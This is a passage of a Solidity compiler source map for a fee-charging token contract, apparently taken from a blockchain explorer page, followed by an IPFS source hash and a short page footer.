;8298:14:0::1;8139:181;8067:253:::0;;:::o;9820:101::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;9888:15:::1;:25:::0;;-1:-1:-1;;9888:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9820:101::o;1245:94::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;1310:21:::1;1328:1;1310:9;:21::i;:::-;1245:94::o:0;8982:194::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;9080:9:::1;9055:21;:34;;9047:71;;;::::0;-1:-1:-1;;;9047:71:0;;8467:2:1;9047:71:0::1;::::0;::::1;8449:21:1::0;8506:2;8486:18;;;8479:30;8545:26;8525:18;;;8518:54;8589:18;;9047:71:0::1;8265:348:1::0;9047:71:0::1;9129:39;::::0;9137:10:::1;::::0;9129:39;::::1;;;::::0;9158:9;;9129:39:::1;::::0;;;9158:9;9137:10;9129:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8982:194:::0;:::o;7347:225::-;645:10;7440:4;7489:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7489:34:0;;;;;;;;;;7440:4;;7457:85;;7480:7;;7489:52;;7526:15;;7489:52;:::i;6355:167::-;6433:4;6450:42;645:10;6474:9;6485:6;6450:9;:42::i;9693:115::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;9773:15:::1;:27:::0;;-1:-1:-1;;;;;;9773:27:0::1;-1:-1:-1::0;;;;;9773:27:0;;;::::1;::::0;;;::::1;::::0;;9693:115::o;9929:145::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;10043:23:::1;10061:5:::0;10043:15:::1;:23;:::i;:::-;-1:-1:-1::0;;;;;10020:20:0;;::::1;;::::0;;;:12:::1;:20;::::0;;;;:46;;;;-1:-1:-1;9929:145:0:o;9184:501::-;9439:18;:34;9409:27;;9385:21;;9409:64;;;:::i;:::-;9510:4;6296:7;6323:16;;;:7;:16;;;;;;9385:88;;-1:-1:-1;9385:88:0;-1:-1:-1;9484:53:0;;;;;;9586:4;9548:17;6323:16;;;:7;:16;;;;;;9568:43;;9595:16;;9568:43;:::i;:::-;9647:15;;9548:63;;-1:-1:-1;9622:55:0;;9640:4;;-1:-1:-1;;;;;9647:15:0;9548:63;9622:9;:55::i;1347:192::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1436:22:0;::::1;1428:73;;;::::0;-1:-1:-1;;;1428:73:0;;8820:2:1;1428:73:0::1;::::0;::::1;8802:21:1::0;8859:2;8839:18;;;8832:30;8898:34;8878:18;;;8871:62;-1:-1:-1;;;8949:18:1;;;8942:36;8995:19;;1428:73:0::1;8618:402:1::0;1428:73:0::1;1512:19;1522:8;1512:9;:19::i;:::-;1347:192:::0;:::o;7580:335::-;-1:-1:-1;;;;;7673:19:0;;7665:68;;;;-1:-1:-1;;;7665:68:0;;9227:2:1;7665:68:0;;;9209:21:1;9266:2;9246:18;;;9239:30;9305:34;9285:18;;;9278:62;-1:-1:-1;;;9356:18:1;;;9349:34;9400:19;;7665:68:0;9025:400:1;7665:68:0;-1:-1:-1;;;;;7752:21:0;;7744:68;;;;-1:-1:-1;;;7744:68:0;;9632:2:1;7744:68:0;;;9614:21:1;9671:2;9651:18;;;9644:30;9710:34;9690:18;;;9683:62;-1:-1:-1;;;9761:18:1;;;9754:32;9803:19;;7744:68:0;9430:398:1;7744:68:0;-1:-1:-1;;;;;7823:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7875:32;;160:25:1;;;7875:32:0;;133:18:1;7875:32:0;;;;;;;7580:335;;;:::o;10906:1253::-;-1:-1:-1;;;;;10992:18:0;;10984:68;;;;-1:-1:-1;;;10984:68:0;;10035:2:1;10984:68:0;;;10017:21:1;10074:2;10054:18;;;10047:30;10113:34;10093:18;;;10086:62;-1:-1:-1;;;10164:18:1;;;10157:35;10209:19;;10984:68:0;9833:401:1;10984:68:0;-1:-1:-1;;;;;11071:16:0;;11063:64;;;;-1:-1:-1;;;11063:64:0;;10441:2:1;11063:64:0;;;10423:21:1;10480:2;10460:18;;;10453:30;10519:34;10499:18;;;10492:62;-1:-1:-1;;;10570:18:1;;;10563:33;10613:19;;11063:64:0;10239:399:1;11063:64:0;11155:1;11146:6;:10;11138:64;;;;-1:-1:-1;;;11138:64:0;;10845:2:1;11138:64:0;;;10827:21:1;10884:2;10864:18;;;10857:30;10923:34;10903:18;;;10896:62;-1:-1:-1;;;10974:18:1;;;10967:39;11023:19;;11138:64:0;10643:405:1;11138:64:0;11231:11;;11221:6;:21;;:56;;;-1:-1:-1;;;;;;11246:31:0;;;;;;:25;:31;;;;;;;;11221:56;11213:110;;;;-1:-1:-1;;;11213:110:0;;11255:2:1;11213:110:0;;;11237:21:1;11294:2;11274:18;;;11267:30;11333:34;11313:18;;;11306:62;-1:-1:-1;;;11384:18:1;;;11377:39;11433:19;;11213:110:0;11053:405:1;11213:110:0;-1:-1:-1;;;;;11340:29:0;;;;;;:25;:29;;;;;;;;11336:134;;11418:9;;11408:6;11392:13;11402:2;-1:-1:-1;;;;;6323:16:0;6296:7;6323:16;;;:7;:16;;;;;;;6230:117;11392:13;:22;;;;:::i;:::-;:35;;11384:86;;;;-1:-1:-1;;;11384:86:0;;11665:2:1;11384:86:0;;;11647:21:1;11704:2;11684:18;;;11677:30;11743:34;11723:18;;;11716:62;-1:-1:-1;;;11794:18:1;;;11787:36;11840:19;;11384:86:0;11463:402:1;11384:86:0;11510:4;;11483:72;;-1:-1:-1;;;;;11510:10:0;;;:4;;:10;;;;:26;;-1:-1:-1;11524:4:0;;-1:-1:-1;;;;;11524:12:0;;;:4;;:12;;11510:26;11538:6;11546:4;11552:2;11483:26;:72::i;:::-;11598:13;;11588:4;6296:7;6323:16;;;:7;:16;;;;;;11570:41;;:91;;;;;11647:13;;11635:9;;:25;;;;:::i;:::-;11615:15;:46;;11570:91;:104;;;;-1:-1:-1;11666:8:0;;;;11665:9;11570:104;:120;;;;-1:-1:-1;11686:4:0;;-1:-1:-1;;;;;11678:12:0;;;11686:4;;11678:12;;11570:120;:139;;;;-1:-1:-1;1068:7:0;1095:6;-1:-1:-1;;;;;11694:15:0;;;1095:6;;11694:15;;11570:139;:156;;;;-1:-1:-1;1068:7:0;1095:6;-1:-1:-1;;;;;11713:13:0;;;1095:6;;11713:13;;11570:156;11566:191;;;11741:16;:14;:16::i;:::-;-1:-1:-1;;;;;11770:13:0;;;;;;:7;:13;;;;;:23;;11787:6;;11770:13;:23;;11787:6;;11770:23;:::i;:::-;;;;-1:-1:-1;;;;;;;11860:24:0;;11804:22;11860:24;;;:18;:24;;;;;;11829:6;;11860:24;;11859:25;:52;;;;-1:-1:-1;;;;;;11889:22:0;;;;;;:18;:22;;;;;;;;11888:23;11859:52;11856:139;;;11978:4;;11944:39;;11958:6;;11966:4;;-1:-1:-1;;;;;11972:10:0;;;11978:4;;11972:10;11944:13;:39::i;:::-;11927:56;;11856:139;12024:4;;12005:56;;-1:-1:-1;;;;;12024:10:0;;;:4;;:10;;;;:26;;-1:-1:-1;12038:4:0;;-1:-1:-1;;;;;12038:12:0;;;:4;;:12;;12024:26;12052:4;12058:2;12005:18;:56::i;:::-;-1:-1:-1;;;;;12072:11:0;;;;;;:7;:11;;;;;:29;;12087:14;;12072:11;:29;;12087:14;;12072:29;:::i;:::-;;;;;;;;12132:2;-1:-1:-1;;;;;12117:34:0;12126:4;-1:-1:-1;;;;;12117:34:0;;12136:14;12117:34;;;;160:25:1;;148:2;133:18;;14:177;12117:34:0;;;;;;;;10973:1186;10906:1253;;;:::o;1547:173::-;1603:16;1622:6;;-1:-1:-1;;;;;1639:17:0;;;-1:-1:-1;;;;;;1639:17:0;;;;;;1672:40;;1622:6;;;;;;;1672:40;;1603:16;1672:40;1592:128;1547:173;:::o;13004:463::-;-1:-1:-1;;;;;13126:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;13154:22:0;;;;;;:18;:22;;;;;;;;13126:50;13125:71;;;;;13182:14;13181:15;13125:71;13122:338;;;13234:15;13213:18;:36;-1:-1:-1;;;;;13264:15:0;;;;;;;:11;:15;;;;;;;;:21;;;;;;;;;:30;;;13122:338;;;-1:-1:-1;;;;;13317:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;13345:22:0;;;;;;:18;:22;;;;;;;;13317:50;13316:70;;;;;13372:14;13316:70;13312:148;;;13424:24;13442:6;13424:15;:24;:::i;:::-;13403:18;:45;13312:148;13004:463;;;;:::o;12167:829::-;4826:8;:15;;-1:-1:-1;;4826:15:0;4837:4;4826:15;;;12236:18:::1;:34:::0;:38;12233:311:::1;;12290:18;12311:52;12328:18;:34;;;12311:16;:52::i;:::-;12290:73:::0;-1:-1:-1;12381:14:0;;12378:155:::1;;12423:15;::::0;12415:45:::1;::::0;-1:-1:-1;;;;;12423:15:0;;::::1;::::0;12415:45;::::1;;;::::0;12449:10;;12423:15:::1;12415:45:::0;12423:15;12415:45;12449:10;12423:15;12415:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;12516:1:0::1;12479:18;:38:::0;12378:155:::1;12275:269;12233:311;12562:27:::0;;:31;12559:356:::1;;12621:27:::0;;12609:9:::1;::::0;12621:31:::1;::::0;12651:1:::1;::::0;12621:31:::1;:::i;:::-;12609:43;;12667:14;12714:4;12684:18;:27;;;:34;;;;:::i;:::-;12667:51;;12733:14;12750:22;12767:4;12750:16;:22::i;:::-;12733:39:::0;-1:-1:-1;12791:13:0;;12787:70:::1;;12823:34;12836:9;12847;12823:12;:34::i;:::-;-1:-1:-1::0;;12902:1:0::1;12872:27:::0;:31;-1:-1:-1;12559:356:0::1;12932:16;::::0;::::1;::::0;;;::::1;12973:15;12961:9;:27:::0;4864:8;:16;;-1:-1:-1;;4864:16:0;;;12167:829::o;10082:816::-;10180:28;;;;;;;;;10202:6;10180:28;;;;;;;;;;;;;;;;10161:7;;10219:56;;;;-1:-1:-1;10245:18:0;;;;;;;;;10256:7;10245:18;;;;;;;;;;;;;;;;10219:56;10322:21;;10287:23;;10346:3;;10313:30;;;;:6;:30;:::i;:::-;:36;;;;:::i;:::-;10287:62;;10360:16;10405:3;10388:8;:14;;;10379:23;;:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;10360:48;-1:-1:-1;10424:22:0;;10421:96;;10499:18;10461;:34;;;:56;;;;;;;:::i;:::-;;;;-1:-1:-1;;10421:96:0;10533:15;;10530:75;;10594:11;10563:18;:27;;;:42;;;;;;;:::i;:::-;;;;-1:-1:-1;;10530:75:0;10618:21;10642:32;10663:11;10642:18;:32;:::i;:::-;10703:4;10687:22;;;;:7;:22;;;;;:42;;10618:56;;-1:-1:-1;10618:56:0;;10687:22;;;:42;;10618:56;;10687:42;:::i;:::-;;;;-1:-1:-1;;10743:20:0;;10740:91;;10783:48;;160:25:1;;;10807:4:0;;-1:-1:-1;;;;;10783:48:0;;;;;148:2:1;133:18;10783:48:0;;;;;;;10740:91;10864:25;10873:16;10864:6;:25;:::i;:::-;10856:34;10082:816;-1:-1:-1;;;;;;;;10082:816:0:o;13475:410::-;-1:-1:-1;;;;;13573:24:0;;;;;;:18;:24;;;;;;;;13572:25;:52;;;;-1:-1:-1;;;;;;13602:22:0;;;;;;:18;:22;;;;;;;;13601:23;13572:52;13569:309;;;13650:4;;-1:-1:-1;;;;;13644:10:0;;;13650:4;;13644:10;;:28;;;13658:14;13644:28;13640:227;;;13695:15;;;;13692:59;;;13733:18;;-1:-1:-1;;;;;13712:18:0;;;;;;:12;:18;;;;;;:39;;13733:18;13712:39;:::i;13692:59::-;13475:410;;;:::o;13640:227::-;-1:-1:-1;;;;;13794:16:0;;;;;;:12;:16;;;;;;13790:61;;-1:-1:-1;;;;;13817:16:0;;;;;:12;:16;;;;;13836:15;13817:34;;-1:-1:-1;;13475:410:0:o;13893:581::-;14058:16;;;14072:1;14058:16;;;;;;;;13957:7;;14002:21;;13957:7;;14058:16;;;;;;;;;;;;-1:-1:-1;14058:16:0;14034:40;;14103:4;14085;14090:1;14085:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14085:23:0;;;:7;;;;;;;;;;:23;;;;14129:6;;:13;;;-1:-1:-1;;;14129:13:0;;;;:6;;;;;:11;;:13;;;;;14085:7;;14129:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14119:4;14124:1;14119:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14119:23:0;;;:7;;;;;;;;;:23;14187:6;;14155:53;;14172:4;;14187:6;14196:11;14155:8;:53::i;:::-;14221:6;;:187;;-1:-1:-1;;;14221:187:0;;-1:-1:-1;;;;;14221:6:0;;;;:57;;:187;;14293:11;;14221:6;;14335:4;;14362;;14382:15;;14221:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14451:14;14427:21;:38;;;;:::i;:::-;14419:47;13893:581;-1:-1:-1;;;;13893:581:0:o;14482:514::-;14595:6;;14563:53;;14580:4;;-1:-1:-1;;;;;14595:6:0;14604:11;14563:8;:53::i;:::-;14660:6;;14631:24;;-1:-1:-1;;;;;14660:6:0;:22;14691:9;14725:4;14745:11;14631:24;;14803:7;1068;1095:6;-1:-1:-1;;;;;1095:6:0;;1022:87;14803:7;14660:191;;;;;;-1:-1:-1;;;;;;14660:191:0;;;-1:-1:-1;;;;;13734:15:1;;;14660:191:0;;;13716:34:1;13766:18;;;13759:34;;;;13809:18;;;13802:34;;;;13852:18;;;13845:34;13916:15;;;13895:19;;;13888:44;14825:15:0;13948:19:1;;;13941:35;13650:19;;14660:191:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;14629:222:0;-1:-1:-1;14907:1:0;;-1:-1:-1;14876:28:0;14629:222;14876:9;:28;:::i;:::-;:32;14872:116;;;14923:65;14959:28;14971:16;14959:9;:28;:::i;:::-;14931:15;;-1:-1:-1;;;;;14931:15:0;;307:6;282:21;:31;;274:73;;;;-1:-1:-1;;;274:73:0;;14500:2:1;274:73:0;;;14482:21:1;14539:2;14519:18;;;14512:30;14578:31;14558:18;;;14551:59;14627:18;;274:73:0;14298:353:1;274:73:0;361:12;379:9;-1:-1:-1;;;;;379:14:0;401:6;379:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;360:52;;;431:7;423:78;;;;-1:-1:-1;;;423:78:0;;15068:2:1;423:78:0;;;15050:21:1;15107:2;15087:18;;;15080:30;15146:34;15126:18;;;15119:62;15217:28;15197:18;;;15190:56;15263:19;;423:78:0;14866:422:1;196:248;264:6;272;325:2;313:9;304:7;300:23;296:32;293:52;;;341:1;338;331:12;293:52;-1:-1:-1;;364:23:1;;;434:2;419:18;;;406:32;;-1:-1:-1;196:248:1:o;449:156::-;515:20;;575:4;564:16;;554:27;;544:55;;595:1;592;585:12;544:55;449:156;;;:::o;610:252::-;674:6;682;735:2;723:9;714:7;710:23;706:32;703:52;;;751:1;748;741:12;703:52;774:27;791:9;774:27;:::i;:::-;764:37;;820:36;852:2;841:9;837:18;820:36;:::i;:::-;810:46;;610:252;;;;;:::o;867:597::-;979:4;1008:2;1037;1026:9;1019:21;1069:6;1063:13;1112:6;1107:2;1096:9;1092:18;1085:34;1137:1;1147:140;1161:6;1158:1;1155:13;1147:140;;;1256:14;;;1252:23;;1246:30;1222:17;;;1241:2;1218:26;1211:66;1176:10;;1147:140;;;1305:6;1302:1;1299:13;1296:91;;;1375:1;1370:2;1361:6;1350:9;1346:22;1342:31;1335:42;1296:91;-1:-1:-1;1448:2:1;1427:15;-1:-1:-1;;1423:29:1;1408:45;;;;1455:2;1404:54;;867:597;-1:-1:-1;;;867:597:1:o;1469:131::-;-1:-1:-1;;;;;1544:31:1;;1534:42;;1524:70;;1590:1;1587;1580:12;1605:315;1673:6;1681;1734:2;1722:9;1713:7;1709:23;1705:32;1702:52;;;1750:1;1747;1740:12;1702:52;1789:9;1776:23;1808:31;1833:5;1808:31;:::i;:::-;1858:5;1910:2;1895:18;;;;1882:32;;-1:-1:-1;;;1605:315:1:o;2117:456::-;2194:6;2202;2210;2263:2;2251:9;2242:7;2238:23;2234:32;2231:52;;;2279:1;2276;2269:12;2231:52;2318:9;2305:23;2337:31;2362:5;2337:31;:::i;:::-;2387:5;-1:-1:-1;2444:2:1;2429:18;;2416:32;2457:33;2416:32;2457:33;:::i;:::-;2117:456;;2509:7;;-1:-1:-1;;;2563:2:1;2548:18;;;;2535:32;;2117:456::o;2578:247::-;2637:6;2690:2;2678:9;2669:7;2665:23;2661:32;2658:52;;;2706:1;2703;2696:12;2658:52;2745:9;2732:23;2764:31;2789:5;2764:31;:::i;:::-;2814:5;2578:247;-1:-1:-1;;;2578:247:1:o;3286:273::-;3342:6;3395:2;3383:9;3374:7;3370:23;3366:32;3363:52;;;3411:1;3408;3401:12;3363:52;3450:9;3437:23;3503:5;3496:13;3489:21;3482:5;3479:32;3469:60;;3525:1;3522;3515:12;3772:180;3831:6;3884:2;3872:9;3863:7;3859:23;3855:32;3852:52;;;3900:1;3897;3890:12;3852:52;-1:-1:-1;3923:23:1;;3772:180;-1:-1:-1;3772:180:1:o;3957:388::-;4025:6;4033;4086:2;4074:9;4065:7;4061:23;4057:32;4054:52;;;4102:1;4099;4092:12;4054:52;4141:9;4128:23;4160:31;4185:5;4160:31;:::i;:::-;4210:5;-1:-1:-1;4267:2:1;4252:18;;4239:32;4280:33;4239:32;4280:33;:::i;:::-;4332:7;4322:17;;;3957:388;;;;;:::o;4826:356::-;5028:2;5010:21;;;5047:18;;;5040:30;5106:34;5101:2;5086:18;;5079:62;5173:2;5158:18;;4826:356::o;5187:127::-;5248:10;5243:3;5239:20;5236:1;5229:31;5279:4;5276:1;5269:15;5303:4;5300:1;5293:15;5319:422;5408:1;5451:5;5408:1;5465:270;5486:7;5476:8;5473:21;5465:270;;;5545:4;5541:1;5537:6;5533:17;5527:4;5524:27;5521:53;;;5554:18;;:::i;:::-;5604:7;5594:8;5590:22;5587:55;;;5624:16;;;;5587:55;5703:22;;;;5663:15;;;;5465:270;;;5469:3;5319:422;;;;;:::o;5746:806::-;5795:5;5825:8;5815:80;;-1:-1:-1;5866:1:1;5880:5;;5815:80;5914:4;5904:76;;-1:-1:-1;5951:1:1;5965:5;;5904:76;5996:4;6014:1;6009:59;;;;6082:1;6077:130;;;;5989:218;;6009:59;6039:1;6030:10;;6053:5;;;6077:130;6114:3;6104:8;6101:17;6098:43;;;6121:18;;:::i;:::-;-1:-1:-1;;6177:1:1;6163:16;;6192:5;;5989:218;;6291:2;6281:8;6278:16;6272:3;6266:4;6263:13;6259:36;6253:2;6243:8;6240:16;6235:2;6229:4;6226:12;6222:35;6219:77;6216:159;;;-1:-1:-1;6328:19:1;;;6360:5;;6216:159;6407:34;6432:8;6426:4;6407:34;:::i;:::-;6477:6;6473:1;6469:6;6465:19;6456:7;6453:32;6450:58;;;6488:18;;:::i;:::-;6526:20;;5746:806;-1:-1:-1;;;5746:806:1:o;6557:140::-;6615:5;6644:47;6685:4;6675:8;6671:19;6665:4;6644:47;:::i;6702:168::-;6742:7;6808:1;6804;6800:6;6796:14;6793:1;6790:21;6785:1;6778:9;6771:17;6767:45;6764:71;;;6815:18;;:::i;:::-;-1:-1:-1;6855:9:1;;6702:168::o;6875:217::-;6915:1;6941;6931:132;;6985:10;6980:3;6976:20;6973:1;6966:31;7020:4;7017:1;7010:15;7048:4;7045:1;7038:15;6931:132;-1:-1:-1;7077:9:1;;6875:217::o;7442:204::-;7480:3;7516:4;7513:1;7509:12;7548:4;7545:1;7541:12;7583:3;7577:4;7573:14;7568:3;7565:23;7562:49;;;7591:18;;:::i;:::-;7627:13;;7442:204;-1:-1:-1;;;7442:204:1:o;8002:125::-;8042:4;8070:1;8067;8064:8;8061:34;;;8075:18;;:::i;:::-;-1:-1:-1;8112:9:1;;8002:125::o;8132:128::-;8172:3;8203:1;8199:6;8196:1;8193:13;8190:39;;;8209:18;;:::i;:::-;-1:-1:-1;8245:9:1;;8132:128::o;12002:127::-;12063:10;12058:3;12054:20;12051:1;12044:31;12094:4;12091:1;12084:15;12118:4;12115:1;12108:15;12134:251;12204:6;12257:2;12245:9;12236:7;12232:23;12228:32;12225:52;;;12273:1;12270;12263:12;12225:52;12305:9;12299:16;12324:31;12349:5;12324:31;:::i;12390:980::-;12652:4;12700:3;12689:9;12685:19;12731:6;12720:9;12713:25;12757:2;12795:6;12790:2;12779:9;12775:18;12768:34;12838:3;12833:2;12822:9;12818:18;12811:31;12862:6;12897;12891:13;12928:6;12920;12913:22;12966:3;12955:9;12951:19;12944:26;;13005:2;12997:6;12993:15;12979:29;;13026:1;13036:195;13050:6;13047:1;13044:13;13036:195;;;13115:13;;-1:-1:-1;;;;;13111:39:1;13099:52;;13206:15;;;;13171:12;;;;13147:1;13065:9;13036:195;;;-1:-1:-1;;;;;;;13287:32:1;;;;13282:2;13267:18;;13260:60;-1:-1:-1;;;13351:3:1;13336:19;13329:35;13248:3;12390:980;-1:-1:-1;;;12390:980:1:o;13987:306::-;14075:6;14083;14091;14144:2;14132:9;14123:7;14119:23;14115:32;14112:52;;;14160:1;14157;14150:12;14112:52;14189:9;14183:16;14173:26;;14239:2;14228:9;14224:18;14218:25;14208:35;;14283:2;14272:9;14268:18;14262:25;14252:35;;13987:306;;;;;:::o

Swarm Source

ipfs://df50de435288932b5f500cf3b1df41c39ddb3f141e7122a423d83c43ef67dbbc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.